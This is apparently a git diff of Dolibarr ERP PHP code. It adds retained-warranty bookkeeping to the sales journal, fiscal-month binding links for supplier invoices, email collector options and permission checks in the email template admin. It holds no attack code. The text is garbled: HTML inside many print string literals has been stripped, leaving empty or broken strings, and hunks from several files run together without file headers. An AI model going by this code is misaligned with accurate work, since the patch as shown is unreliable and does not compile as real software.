. MAIN_DB_PREFIX . "accounting_bookkeeping as ab WHERE ab.doc_type='customer_invoice')"; // Useless, we save one line for all products with same account } -$sql .= " ORDER BY f.datef"; +$sql .= " ORDER BY f.datef, f.ref"; //print $sql; exit; dol_syslog('accountancy/journal/sellsjournal.php', LOG_DEBUG); @@ -168,6 +168,7 @@ if ($result) { $tabht = array(); $tabtva = array(); $def_tva = array(); + $tabwarranty = array(); $tabttc = array(); $tablocaltax1 = array(); $tablocaltax2 = array(); @@ -205,21 +206,23 @@ if ($result) { $def_tva[$obj->rowid][$compta_tva][vatrate($obj->tva_tx).($obj->vat_src_code ? ' ('.$obj->vat_src_code.')' : '')] = (vatrate($obj->tva_tx).($obj->vat_src_code ? ' ('.$obj->vat_src_code.')' : '')); } - $line = new FactureLigne($db); - $line->fetch($obj->fdid); + // Create a compensation rate. + $situation_ratio = 1; + if (getDolGlobalInt('INVOICE_USE_SITUATION') == 1) { + if ($obj->situation_cycle_ref) { + // Avoid divide by 0 + if ($obj->situation_percent == 0) { + $situation_ratio = 0; + } else { + $line = new FactureLigne($db); + $line->fetch($obj->fdid); - // Situation invoices handling - $prev_progress = $line->get_prev_progress($obj->rowid); + // Situation invoices handling + $prev_progress = $line->get_prev_progress($obj->rowid); - if ($obj->type == Facture::TYPE_SITUATION) { - // Avoid divide by 0 - if ($obj->situation_percent == 0) { - $situation_ratio = 0; - } else { - $situation_ratio = ($obj->situation_percent - $prev_progress) / $obj->situation_percent; + $situation_ratio = ($obj->situation_percent - $prev_progress) / $obj->situation_percent; + } } - } else { - $situation_ratio = 1; } // Invoice lines @@ -248,13 +251,27 @@ if ($result) { $tablocaltax2[$obj->rowid][$compta_localtax2] = 0; } - $tabttc[$obj->rowid][$compta_soc] += $obj->total_ttc * $situation_ratio; + // Compensation of data for invoice situation by using $situation_ratio. This works (nearly) for invoice that was not correctly recorded + // but it may introduces an error for situation invoices that were correctly saved. There is still rounding problem that differs between + // real data we should have stored and result obtained with a compensation. + // It also seems that credit notes on situation invoices are correctly saved (but it depends on the version used in fact). + // For credit notes, we hope to have situation_ratio = 1 so the compensation has no effect to avoid introducing troubles with credit notes. + $total_ttc = $obj->total_ttc * $situation_ratio; + if (!empty($conf->global->INVOICE_USE_RETAINED_WARRANTY) && $obj->retained_warranty > 0) { + $retained_warranty = (double) price2num($total_ttc * $obj->retained_warranty / 100, 'MT'); + $tabwarranty[$obj->rowid][$compta_soc] += $retained_warranty; + $total_ttc -= $retained_warranty; + } + $tabttc[$obj->rowid][$compta_soc] += $total_ttc; $tabht[$obj->rowid][$compta_prod] += $obj->total_ht * $situation_ratio; - if (empty($line->tva_npr)) { - $tabtva[$obj->rowid][$compta_tva] += $obj->total_tva * $situation_ratio; // We ignore line if VAT is a NPR + $tva_npr = (($obj->info_bits & 1 == 1) ? 1 : 0); + if (!$tva_npr) { // We ignore line if VAT is a NPR + $tabtva[$obj->rowid][$compta_tva] += $obj->total_tva * $situation_ratio; } $tablocaltax1[$obj->rowid][$compta_localtax1] += $obj->total_localtax1 * $situation_ratio; $tablocaltax2[$obj->rowid][$compta_localtax2] += $obj->total_localtax2 * $situation_ratio; + + $tabcompany[$obj->rowid] = array( 'id' => $obj->socid, 'name' => $obj->name, @@ -300,6 +317,10 @@ if ($action == 'writebookkeeping') { $accountingaccountcustomer->fetch(null, $conf->global->ACCOUNTING_ACCOUNT_CUSTOMER, true); + $accountingaccountcustomerwarranty = new AccountingAccount($db); + + $accountingaccountcustomerwarranty->fetch(null, $conf->global->ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY, true); + foreach ($tabfac as $key => $val) { // Loop on each invoice $errorforline = 0; @@ -344,6 +365,55 @@ if ($action == 'writebookkeeping') { setEventMessages($langs->trans('ErrorInvoiceContainsLinesNotYetBounded', $val['ref']), null, 'errors'); } + // Warranty + if (!$errorforline) { + foreach ($tabwarranty[$key] as $k => $mt) { + $bookkeeping = new BookKeeping($db); + $bookkeeping->doc_date = $val["date"]; + $bookkeeping->date_lim_reglement = $val["datereg"]; + $bookkeeping->doc_ref = $val["ref"]; + $bookkeeping->date_creation = $now; + $bookkeeping->doc_type = 'customer_invoice'; + $bookkeeping->fk_doc = $key; + $bookkeeping->fk_docdet = 0; // Useless, can be several lines that are source of this record to add + $bookkeeping->thirdparty_code = $companystatic->code_client; + + $bookkeeping->subledger_account = $tabcompany[$key]['code_compta']; + $bookkeeping->subledger_label = $tabcompany[$key]['name']; + + $bookkeeping->numero_compte = $conf->global->ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY; + $bookkeeping->label_compte = $accountingaccountcustomerwarranty->label; + + $bookkeeping->label_operation = dol_trunc($companystatic->name, 16).' - '.$invoicestatic->ref.' - '.$langs->trans("Retainedwarranty"); + $bookkeeping->montant = $mt; + $bookkeeping->sens = ($mt >= 0) ? 'D' : 'C'; + $bookkeeping->debit = ($mt >= 0) ? $mt : 0; + $bookkeeping->credit = ($mt < 0) ? -$mt : 0; + $bookkeeping->code_journal = $journal; + $bookkeeping->journal_label = $langs->transnoentities($journal_label); + $bookkeeping->fk_user_author = $user->id; + $bookkeeping->entity = $conf->entity; + + $totaldebit += $bookkeeping->debit; + $totalcredit += $bookkeeping->credit; + + $result = $bookkeeping->create($user); + if ($result < 0) { + if ($bookkeeping->error == 'BookkeepingRecordAlreadyExists') { // Already exists + $error++; + $errorforline++; + $errorforinvoice[$key] = 'alreadyjournalized'; + //setEventMessages('Transaction for ('.$bookkeeping->doc_type.', '.$bookkeeping->fk_doc.', '.$bookkeeping->fk_docdet.') were already recorded', null, 'warnings'); + } else { + $error++; + $errorforline++; + $errorforinvoice[$key] = 'other'; + setEventMessages($bookkeeping->error, $bookkeeping->errors, 'errors'); + } + } + } + } + // Thirdparty if (!$errorforline) { foreach ($tabttc[$key] as $k => $mt) { @@ -390,10 +460,18 @@ if ($action == 'writebookkeeping') { setEventMessages($bookkeeping->error, $bookkeeping->errors, 'errors'); } } else { - if (getDolGlobalInt('ACCOUNTING_ENABLE_LETTERING')) { + if (getDolGlobalInt('ACCOUNTING_ENABLE_LETTERING') && getDolGlobalInt('ACCOUNTING_ENABLE_AUTOLETTERING')) { require_once DOL_DOCUMENT_ROOT . '/accountancy/class/lettering.class.php'; $lettering_static = new Lettering($db); + $nb_lettering = $lettering_static->bookkeepingLettering(array($bookkeeping->id)); + + if ($nb_lettering < 0) { + $error++; + $errorforline++; + $errorforinvoice[$key] = 'other'; + setEventMessages($lettering_static->error, $lettering_static->errors, 'errors'); + } } } } @@ -598,7 +676,8 @@ if ($action == 'exportcsv') { // ISO and not UTF8 ! foreach ($tabfac as $key => $val) { $companystatic->id = $tabcompany[$key]['id']; $companystatic->name = $tabcompany[$key]['name']; - $companystatic->code_compta = $tabcompany[$key]['code_compta']; + $companystatic->code_compta = $tabcompany[$key]['code_compta']; // deprecated + $companystatic->code_compta_client = $tabcompany[$key]['code_compta']; $companystatic->code_client = $tabcompany[$key]['code_client']; $companystatic->client = 3; @@ -624,6 +703,25 @@ if ($action == 'exportcsv') { // ISO and not UTF8 ! continue; } + // Warranty + foreach ($tabwarranty[$key] as $k => $mt) { + //if ($mt) { + print '"'.$key.'"'.$sep; + print '"'.$date.'"'.$sep; + print '"'.$val["ref"].'"'.$sep; + print '"'.utf8_decode(dol_trunc($companystatic->name, 32)).'"'.$sep; + print '"'.length_accounta(html_entity_decode($k)).'"'.$sep; + print '"'.length_accountg($conf->global->ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY).'"'.$sep; + print '"'.length_accounta(html_entity_decode($k)).'"'.$sep; + print '"'.$langs->trans("Thirdparty").'"'.$sep; + print '"'.utf8_decode(dol_trunc($companystatic->name, 16)).' - '.$invoicestatic->ref.' - '.$langs->trans("Retainedwarranty").'"'.$sep; + print '"'.($mt >= 0 ? price($mt) : '').'"'.$sep; + print '"'.($mt < 0 ? price(-$mt) : '').'"'.$sep; + print '"'.$journal.'"'; + print "\n"; + //} + } + // Third party foreach ($tabttc[$key] as $k => $mt) { //if ($mt) { @@ -701,7 +799,7 @@ if ($action == 'exportcsv') { // ISO and not UTF8 ! if (empty($action) || $action == 'view') { $title = $langs->trans("GenerationOfAccountingEntries").' - '.$accountingjournalstatic->getNomUrl(0, 2, 1, '', 1); - llxHeader('', $title); + llxHeader('', dol_string_nohtmltag($title)); $nom = $title; $nomlink = ''; @@ -767,7 +865,6 @@ if (empty($action) || $action == 'view') { */ print '
      '; - $i = 0; print '
      '; print ""; print ""; @@ -776,11 +873,11 @@ if (empty($action) || $action == 'view') { print ""; print ""; print ""; - print '"; - print '"; + print '"; + print '"; print "\n"; - $r = ''; + $i = 0; $companystatic = new Client($db); $invoicestatic = new Facture($db); @@ -828,6 +925,7 @@ if (empty($action) || $action == 'view') { print ''; print ""; + $i++; continue; } if ($errorforinvoice[$key] == 'somelinesarenotbound') { @@ -847,6 +945,38 @@ if (empty($action) || $action == 'view') { print ''; print ''; print ""; + + $i++; + } + + // Warranty + foreach ($tabwarranty[$key] as $k => $mt) { + print ''; + print ""; + print ""; + print ""; + // Account + print "'; + // Subledger account + print "'; + print ""; + print '"; + print '"; + print ""; } // Third party @@ -877,6 +1007,8 @@ if (empty($action) || $action == 'view') { print '"; print '"; print ""; + + $i++; } // Product / Service @@ -913,6 +1045,8 @@ if (empty($action) || $action == 'view') { print '"; print '"; print ""; + + $i++; } // VAT @@ -949,11 +1083,17 @@ if (empty($action) || $action == 'view') { print '"; print '"; print ""; + + $i++; } } } } + if (!$i) { + print ''; + } + print "
      ".$langs->trans("AccountAccounting")."".$langs->trans("SubledgerAccount")."".$langs->trans("LabelOperation")."'.$langs->trans("Debit")."'.$langs->trans("Credit")."'.$langs->trans("AccountingDebit")."'.$langs->trans("AccountingCredit")."
      ".$date."".$invoicestatic->getNomUrl(1).""; + $accountoshow = length_accountg($conf->global->ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY); + if (($accountoshow == "") || $accountoshow == 'NotDefined') { + print ''.$langs->trans("MainAccountForCustomersNotDefined").''; + } else { + print $accountoshow; + } + print '"; + $accountoshow = length_accounta($k); + if (($accountoshow == "") || $accountoshow == 'NotDefined') { + print ''.$langs->trans("ThirdpartyAccountNotDefined").''; + } else { + print $accountoshow; + } + print '".$companystatic->getNomUrl(0, 'customer', 16).' - '.$invoicestatic->ref.' - '.$langs->trans("Retainedwarranty")."'.($mt >= 0 ? price($mt) : '')."'.($mt < 0 ? price(-$mt) : '')."
      '.($mt >= 0 ? price($mt) : '')."'.($mt < 0 ? price(-$mt) : '')."
      '.($mt < 0 ? price(-$mt) : '')."'.($mt >= 0 ? price($mt) : '')."
      '.($mt < 0 ? price(-$mt) : '')."'.($mt >= 0 ? price($mt) : '')."
      '.$langs->trans("NoRecordFound").'
      "; print '
      '; diff --git a/htdocs/accountancy/journal/variousjournal.php b/htdocs/accountancy/journal/variousjournal.php index f822daa540c..cf652a29345 100644 --- a/htdocs/accountancy/journal/variousjournal.php +++ b/htdocs/accountancy/journal/variousjournal.php @@ -187,7 +187,7 @@ if ($object->nature == 2) { $title = $langs->trans("GenerationOfAccountingEntries") . ' - ' . $object->getNomUrl(0, 2, 1, '', 1); -llxHeader('', $title); +llxHeader('', dol_string_nohtmltag($title)); $nom = $title; $nomlink = ''; @@ -286,8 +286,8 @@ print '' . $langs->trans("AccountAccounting") . ''; print '' . $langs->trans("SubledgerAccount") . ''; print '' . $langs->trans("LabelOperation") . ''; if ($object->nature == 4) print '' . $langs->trans("PaymentMode") . ''; // bank -print '' . $langs->trans("Debit") . ''; -print '' . $langs->trans("Credit") . ''; +print '' . $langs->trans("AccountingDebit") . ''; +print '' . $langs->trans("AccountingCredit") . ''; print "\n"; if (is_array($journal_data) && !empty($journal_data)) { diff --git a/htdocs/accountancy/supplier/index.php b/htdocs/accountancy/supplier/index.php index 2237b4347ca..87e67bbfcb6 100644 --- a/htdocs/accountancy/supplier/index.php +++ b/htdocs/accountancy/supplier/index.php @@ -119,28 +119,14 @@ if (($action == 'clean' || $action == 'validatehistory') && $user->rights->accou if ($action == 'validatehistory') { $error = 0; $nbbinddone = 0; + $nbbindfailed = 0; $notpossible = 0; $db->begin(); // Now make the binding. Bind automatically only for product with a dedicated account that exists into chart of account, others need a manual bind - /*if ($db->type == 'pgsql') { - $sql1 = "UPDATE " . MAIN_DB_PREFIX . "facture_fourn_det"; - $sql1 .= " SET fk_code_ventilation = accnt.rowid"; - $sql1 .= " FROM " . MAIN_DB_PREFIX . "product as p, " . MAIN_DB_PREFIX . "accounting_account as accnt , " . MAIN_DB_PREFIX . "accounting_system as syst"; - $sql1 .= " WHERE " . MAIN_DB_PREFIX . "facture_fourn_det.fk_product = p.rowid AND accnt.fk_pcg_version = syst.pcg_version AND syst.rowid=" . ((int) $conf->global->CHARTOFACCOUNTS).' AND accnt.entity = '.$conf->entity; - $sql1 .= " AND accnt.active = 1 AND p.accountancy_code_buy=accnt.account_number"; - $sql1 .= " AND " . MAIN_DB_PREFIX . "facture_fourn_det.fk_code_ventilation = 0"; - } else { - $sql1 = "UPDATE " . MAIN_DB_PREFIX . "facture_fourn_det as fd, " . MAIN_DB_PREFIX . "product as p, " . MAIN_DB_PREFIX . "accounting_account as accnt , " . MAIN_DB_PREFIX . "accounting_system as syst"; - $sql1 .= " SET fk_code_ventilation = accnt.rowid"; - $sql1 .= " WHERE fd.fk_product = p.rowid AND accnt.fk_pcg_version = syst.pcg_version AND syst.rowid=" . ((int) $conf->global->CHARTOFACCOUNTS).' AND accnt.entity = '.$conf->entity; - $sql1 .= " AND accnt.active = 1 AND p.accountancy_code_buy=accnt.account_number"; - $sql1 .= " AND fd.fk_code_ventilation = 0"; - }*/ - // Supplier Invoice Lines (must be same request than into page list.php for manual binding) - $sql = "SELECT f.rowid as facid, f.ref, f.ref_supplier, f.libelle as invoice_label, f.datef, f.type as ftype,"; + $sql = "SELECT f.rowid as facid, f.ref, f.ref_supplier, f.libelle as invoice_label, f.datef, f.type as ftype, f.fk_facture_source,"; $sql .= " l.rowid, l.fk_product, l.description, l.total_ht, l.fk_code_ventilation, l.product_type as type_l, l.tva_tx as tva_tx_line, l.vat_src_code,"; $sql .= " p.rowid as product_id, p.ref as product_ref, p.label as product_label, p.fk_product_type as type, p.tva_tx as tva_tx_prod,"; if (!empty($conf->global->MAIN_PRODUCT_PERENTITY_SHARED)) { @@ -233,7 +219,10 @@ if ($action == 'validatehistory') { $facture_static->ref = $objp->ref; $facture_static->id = $objp->facid; $facture_static->type = $objp->ftype; - $facture_static->date = $objp->datef; + $facture_static->ref_supplier = $objp->ref_supplier; + $facture_static->label = $objp->invoice_label; + $facture_static->date = $db->jdate($objp->datef); + $facture_static->fk_facture_source = $objp->fk_facture_source; $facture_static_det->id = $objp->rowid; $facture_static_det->total_ht = $objp->total_ht; @@ -276,12 +265,14 @@ if ($action == 'validatehistory') { if (!$resqlupdate) { $error++; setEventMessages($db->lasterror(), null, 'errors'); + $nbbindfailed++; break; } else { $nbbinddone++; } } else { $notpossible++; + $nbbindfailed++; } $i++; @@ -295,7 +286,10 @@ if ($action == 'validatehistory') { $db->rollback(); } else { $db->commit(); - setEventMessages($langs->trans('AutomaticBindingDone', $nbbinddone, $notpossible), null, 'mesgs'); + setEventMessages($langs->trans('AutomaticBindingDone', $nbbinddone, $notpossible), null, ($notpossible ? 'warnings' : 'mesgs')); + if ($nbbindfailed) { + setEventMessages($langs->trans('DoManualBindingForFailedRecord', $nbbindfailed), null, 'warnings'); + } } } @@ -317,7 +311,7 @@ print '
      '; $y = $year_current; -$buttonbind = ''.$langs->trans("ValidateHistory").''; +$buttonbind = ''.img_picto('', 'link', 'class="paddingright fa-color-unset"').$langs->trans("ValidateHistory").''; print_barre_liste(img_picto('', 'unlink', 'class="paddingright fa-color-unset"').$langs->trans("OverviewOfAmountOfLinesNotBound"), '', '', '', '', '', '', -1, '', '', 0, $buttonbind, '', 0, 1, 1); @@ -399,14 +393,37 @@ if ($resql) { print ''; print ''; if ($row[0] == 'tobind') { - print $langs->trans("UseMenuToSetBindindManualy", DOL_URL_ROOT.'/accountancy/supplier/list.php?search_year='.((int) $y), $langs->transnoentitiesnoconv("ToBind")); + $startmonth = ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1); + if ($startmonth > 12) { + $startmonth -= 12; + } + $startyear = ($startmonth < ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1)) ? $y + 1 : $y; + $endmonth = ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1) + 11; + if ($endmonth > 12) { + $endmonth -= 12; + } + $endyear = ($endmonth < ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1)) ? $y + 1 : $y; + print $langs->trans("UseMenuToSetBindindManualy", DOL_URL_ROOT.'/accountancy/supplier/list.php?search_date_startday=1&search_date_startmonth='.((int) $startmonth).'&search_date_startyear='.((int) $startyear).'&search_date_endday=&search_date_endmonth='.((int) $endmonth).'&search_date_endyear='.((int) $endyear), $langs->transnoentitiesnoconv("ToBind")); } else { print $row[1]; } print ''; for ($i = 2; $i <= 13; $i++) { + $cursormonth = (($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1) + $i - 2); + if ($cursormonth > 12) { + $cursormonth -= 12; + } + $cursoryear = ($cursormonth < ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1)) ? $y + 1 : $y; + $tmp = dol_getdate(dol_get_last_day($cursoryear, $cursormonth, 'gmt'), false, 'gmt'); + print ''; print price($row[$i]); + // Add link to make binding + if (!empty(price2num($row[$i]))) { + print ''; + print img_picto($langs->trans("ValidateHistory").' ('.$langs->trans('Month'.str_pad($cursormonth, 2, '0', STR_PAD_LEFT)).' '.$cursoryear.')', 'link', 'class="marginleft2"'); + print ''; + } print ''; } print ''.price($row[14]).''; @@ -538,7 +555,7 @@ print "\n"; print '
      '; -if ($conf->global->MAIN_FEATURES_LEVEL > 0) { // This part of code looks strange. Why showing a report that should rely on result of this step ? +if (getDolGlobalString('SHOW_TOTAL_OF_PREVIOUS_LISTS_IN_LIN_PAGE')) { // This part of code looks strange. Why showing a report that should rely on result of this step ? print '
      '; print '
      '; diff --git a/htdocs/accountancy/supplier/lines.php b/htdocs/accountancy/supplier/lines.php index 1edbe83eefb..ea9841d2fbb 100644 --- a/htdocs/accountancy/supplier/lines.php +++ b/htdocs/accountancy/supplier/lines.php @@ -49,7 +49,7 @@ $search_societe = GETPOST('search_societe', 'alpha'); $search_lineid = GETPOST('search_lineid', 'int'); $search_ref = GETPOST('search_ref', 'alpha'); $search_invoice = GETPOST('search_invoice', 'alpha'); -$search_ref_supplier = GETPOST('search_ref_supplier', 'alpha'); +//$search_ref_supplier = GETPOST('search_ref_supplier', 'alpha'); $search_label = GETPOST('search_label', 'alpha'); $search_desc = GETPOST('search_desc', 'alpha'); $search_amount = GETPOST('search_amount', 'alpha'); @@ -113,7 +113,7 @@ if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x' $search_lineid = ''; $search_ref = ''; $search_invoice = ''; - $search_ref_supplier = ''; + //$search_ref_supplier = ''; $search_label = ''; $search_desc = ''; $search_amount = ''; @@ -194,9 +194,9 @@ print ''."\n"; @@ -656,18 +684,18 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea print ''; print '
      '; - print '

      '; + print '


      '; // Operations - print '
      '; - print ''; + print '
      '; + print '
      '; print ''; print ''; print ''; $arrayoftypes = array( - 'loadthirdparty' => $langs->trans('LoadThirdPartyFromName', $langs->transnoentities("ThirdPartyName")), - 'loadandcreatethirdparty' => $langs->trans('LoadThirdPartyFromNameOrCreate', $langs->transnoentities("ThirdPartyName")), + 'loadthirdparty' => $langs->trans('LoadThirdPartyFromName', $langs->transnoentities("ThirdPartyName").'/'.$langs->transnoentities("AliasNameShort").'/'.$langs->transnoentities("Email").'/'.$langs->transnoentities("ID")), + 'loadandcreatethirdparty' => $langs->trans('LoadThirdPartyFromNameOrCreate', $langs->transnoentities("ThirdPartyName").'/'.$langs->transnoentities("AliasNameShort").'/'.$langs->transnoentities("Email").'/'.$langs->transnoentities("ID")), 'recordjoinpiece' => 'AttachJoinedDocumentsToObject', 'recordevent' => 'RecordEvent' ); @@ -700,7 +728,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea // Add operation print ''; print ''; print ''; print "\n"; -// Hide e-mail headers from collected messages +// MAIN_IMAP_USE_PHPIMAP: Enable use of the PHP Imap library +print ''; +print ''; +print ''; + +// MAIN_EMAILCOLLECTOR_MAIL_WITHOUT_HEADER: Hide e-mail headers from collected messages print ''; print ''; @@ -628,7 +629,7 @@ if (!empty($conf->global->INVOICE_USE_DEFAULT_DOCUMENT)) { // Hidden conf Facture::TYPE_CREDIT_NOTE=>$langs->trans("InvoiceAvoir"), Facture::TYPE_DEPOSIT=>$langs->trans("InvoiceDeposit"), ); - if (!empty($conf->global->INVOICE_USE_SITUATION)) { + if (getDolGlobalInt('INVOICE_USE_SITUATION')) { $listtype[Facture::TYPE_SITUATION] = $langs->trans("InvoiceSituation"); } @@ -701,12 +702,14 @@ if (isModEnabled('banque')) { } print ""; +$FACTURE_CHQ_NUMBER = getDolGlobalInt('FACTURE_CHQ_NUMBER'); + print ''; print ""; print "'; print ''; + print ''; print ''; + print ''; } diff --git a/htdocs/admin/mails_templates.php b/htdocs/admin/mails_templates.php index 5a4eac7bcca..47e4939ef82 100644 --- a/htdocs/admin/mails_templates.php +++ b/htdocs/admin/mails_templates.php @@ -11,7 +11,7 @@ * Copyright (C) 2011-2016 Alexandre Spangaro * Copyright (C) 2015 Ferran Marcet * Copyright (C) 2016 Raphaël Doursenaud - * Copyright (C) 2018-2021 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -69,6 +69,7 @@ $search_type_template = GETPOST('search_type_template', 'alpha'); $search_lang = GETPOST('search_lang', 'alpha'); $search_fk_user = GETPOST('search_fk_user', 'intcomma'); $search_topic = GETPOST('search_topic', 'alpha'); +$search_module = GETPOST('search_module', 'alpha'); $acts = array(); $actl = array(); @@ -108,7 +109,7 @@ $tabname[25] = MAIN_DB_PREFIX."c_email_templates"; // Nom des champs en resultat de select pour affichage du dictionnaire $tabfield = array(); -$tabfield[25] = "label,lang,type_template,fk_user,private,position,topic,joinfiles,content"; +$tabfield[25] = "label,lang,type_template,fk_user,private,position,module,topic,joinfiles,content"; if (!empty($conf->global->MAIN_EMAIL_TEMPLATES_FOR_OBJECT_LINES)) { $tabfield[25] .= ',content_lines'; } @@ -246,17 +247,17 @@ if ($reshook == 0) { } } +$id = 25; +$acceptlocallinktomedia = (acceptLocalLinktoMedia() > 0 ? 1 : 0); +// Security if (!empty($user->socid)) { accessforbidden(); } $permissiontoadd = 1; - -//asort($elementList); - -$id = 25; +$permissiontodelete = 1; @@ -290,12 +291,13 @@ if (empty($reshook)) { $search_lang = ''; $search_fk_user = ''; $search_topic = ''; + $search_module = ''; $toselect = array(); $search_array_options = array(); } - // Actions add or modify an entry into a dictionary - if (GETPOST('actionadd', 'alpha') || GETPOST('actionmodify', 'alpha')) { + // Actions add or modify an email template + if ((GETPOST('actionadd', 'alpha') || GETPOST('actionmodify', 'alpha')) && $permissiontoadd) { $listfield = explode(',', str_replace(' ', '', $tabfield[$id])); $listfieldinsert = explode(',', $tabfieldinsert[$id]); $listfieldmodify = explode(',', $tabfieldinsert[$id]); @@ -305,13 +307,7 @@ if (empty($reshook)) { $ok = 1; foreach ($listfield as $f => $value) { // Not mandatory fields - if ($value == 'joinfiles') { - continue; - } - if ($value == 'content') { - continue; - } - if ($value == 'content_lines') { + if (in_array($value, ['joinfiles', 'content', 'content_lines', 'module'])) { continue; } @@ -366,7 +362,7 @@ if (empty($reshook)) { // List of values $i = 0; foreach ($listfieldinsert as $f => $value) { - $keycode = $listfieldvalue[$i]; + $keycode = isset($listfieldvalue[$i]) ? $listfieldvalue[$i] : ""; if ($value == 'lang') { $keycode = 'langcode'; } @@ -512,7 +508,7 @@ if (empty($reshook)) { } } - if ($action == 'confirm_delete' && $confirm == 'yes') { // delete + if ($action == 'confirm_delete' && $confirm == 'yes' && $permissiontodelete) { // delete $rowidcol = "rowid"; $sql = "DELETE from ".$tabname[$id]." WHERE ".$rowidcol." = ".((int) $rowid); @@ -531,7 +527,7 @@ if (empty($reshook)) { } // activate - if ($action == $acts[0]) { + if ($action == $acts[0] && $permissiontoadd) { $rowidcol = "rowid"; $sql = "UPDATE ".$tabname[$id]." SET active = 1 WHERE rowid = ".((int) $rowid); @@ -543,7 +539,7 @@ if (empty($reshook)) { } // disable - if ($action == $acts[1]) { + if ($action == $acts[1] && $permissiontoadd) { $rowidcol = "rowid"; $sql = "UPDATE ".$tabname[$id]." SET active = 0 WHERE rowid = ".((int) $rowid); @@ -598,6 +594,9 @@ if ($search_lang) { if ($search_fk_user != '' && $search_fk_user != '-1') { $sql .= natural_search('fk_user', $search_fk_user, 2); } +if ($search_module) { + $sql .= natural_search('module', $search_module); +} if ($search_topic) { $sql .= natural_search('topic', $search_topic); } @@ -675,17 +674,27 @@ if (!empty($user->admin) && (empty($_SESSION['leftmenu']) || $_SESSION['leftmenu } -// Confirmation de la suppression de la ligne +// Confirm deletion of record if ($action == 'delete') { - print $form->formconfirm($_SERVER["PHP_SELF"].'?'.($page ? 'page='.$page.'&' : '').'sortfield='.$sortfield.'&sortorder='.$sortorder.'&rowid='.$rowid.'&code='.$code.'&id='.$id, $langs->trans('DeleteLine'), $langs->trans('ConfirmDeleteLine'), 'confirm_delete', '', 0, 1); + print $form->formconfirm($_SERVER["PHP_SELF"].'?'.($page ? 'page='.$page.'&' : '').'sortfield='.$sortfield.'&sortorder='.$sortorder.'&rowid='.((int) $rowid).'&code='.urlencode($code).'&id='.((int) $id), $langs->trans('DeleteLine'), $langs->trans('ConfirmDeleteLine'), 'confirm_delete', '', 0, 1); } - - $fieldlist = explode(',', $tabfield[$id]); if ($action == 'create') { + // If data was already input, we define them in obj to populate input fields. + $obj = new stdClass(); + $obj->label = GETPOST('label'); + $obj->lang = GETPOST('lang'); + $obj->type_template = GETPOST('type_template'); + $obj->fk_user = GETPOST('fk_user', 'int'); + $obj->private = GETPOST('private', 'int'); + $obj->position = GETPOST('position'); + $obj->topic = GETPOST('topic'); + $obj->joinfiles = GETPOST('joinfiles'); + $obj->content = GETPOST('content', 'restricthtml'); + // Form to add a new line print '
      '; print ''; @@ -703,6 +712,9 @@ if ($action == 'create') { $valuetoshow = ucfirst($fieldlist[$field]); // Par defaut $valuetoshow = $langs->trans($valuetoshow); // try to translate $align = "left"; + if ($fieldlist[$field] == 'module') { + $valuetoshow = ''; + } if ($fieldlist[$field] == 'fk_user') { $valuetoshow = $langs->trans("Owner"); } @@ -761,16 +773,6 @@ if ($action == 'create') { print ''; print ''; - $obj = new stdClass(); - // If data was already input, we define them in obj to populate input fields. - if (GETPOST('actionadd')) { - foreach ($fieldlist as $key => $val) { - if (GETPOST($val) != '') { - $obj->$val = GETPOST($val); - } - } - } - $tmpaction = 'create'; $parameters = array( 'fieldlist' => $fieldlist, @@ -802,9 +804,9 @@ if ($action == 'create') { $fieldsforcontent = array('topic', 'joinfiles', 'content', 'content_lines'); } foreach ($fieldsforcontent as $tmpfieldlist) { - print '
      '; @@ -847,7 +849,7 @@ if ($action == 'create') { print ''; print ''; print '

      '; -} // END IF not edit +} // List of available record in database dol_syslog("htdocs/admin/dict", LOG_DEBUG); @@ -881,6 +883,9 @@ if ($search_type_template != '-1') { if ($search_fk_user > 0) { $param .= '&search_fk_user='.urlencode($search_fk_user); } +if ($search_module) { + $param .= '&search_module='.urlencode($search_module); +} if ($search_topic) { $param .= '&search_topic='.urlencode($search_topic); } @@ -908,21 +913,23 @@ if ($num > $listlimit) { print ''; foreach ($fieldlist as $field => $value) { - if ($value == 'label') { + if ($value == 'module') { + print ''; + } elseif ($value == 'label') { print ''; } elseif ($value == 'lang') { print ''; } elseif ($value == 'fk_user') { print ''; } elseif ($value == 'topic') { print ''; } elseif ($value == 'type_template') { print ''; } elseif (!in_array($value, array('content', 'content_lines'))) { print ''; @@ -957,6 +964,9 @@ foreach ($fieldlist as $field => $value) { */ $valuetoshow = ucfirst($fieldlist[$field]); // By defaut $valuetoshow = $langs->trans($valuetoshow); // try to translate + if ($fieldlist[$field] == 'module') { + $align = 'tdoverflowmax100'; + } if ($fieldlist[$field] == 'fk_user') { $valuetoshow = $langs->trans("Owner"); } @@ -999,11 +1009,15 @@ foreach ($fieldlist as $field => $value) { $valuetoshow = $form->textwithpicto($valuetoshow, $tabhelp[$id][$value], 1, 'help', '', 0, 2, '', $forcenowrap); // Tooltip on hover } } - print getTitleFieldOfList($valuetoshow, 0, $_SERVER["PHP_SELF"], ($sortable ? $fieldlist[$field] : ''), ($page ? 'page='.$page.'&' : ''), $param, "align=".$align, $sortfield, $sortorder); + $sortfieldtouse = ($sortable ? $fieldlist[$field] : ''); + if ($sortfieldtouse == 'type_template') { + $sortfieldtouse.= ',label'; + } + print getTitleFieldOfList($valuetoshow, 0, $_SERVER["PHP_SELF"], $sortfieldtouse, ($page ? 'page='.$page.'&' : ''), $param, '', $sortfield, $sortorder, $align.' '); } } -print getTitleFieldOfList($langs->trans("Status"), 0, $_SERVER["PHP_SELF"], "active", ($page ? 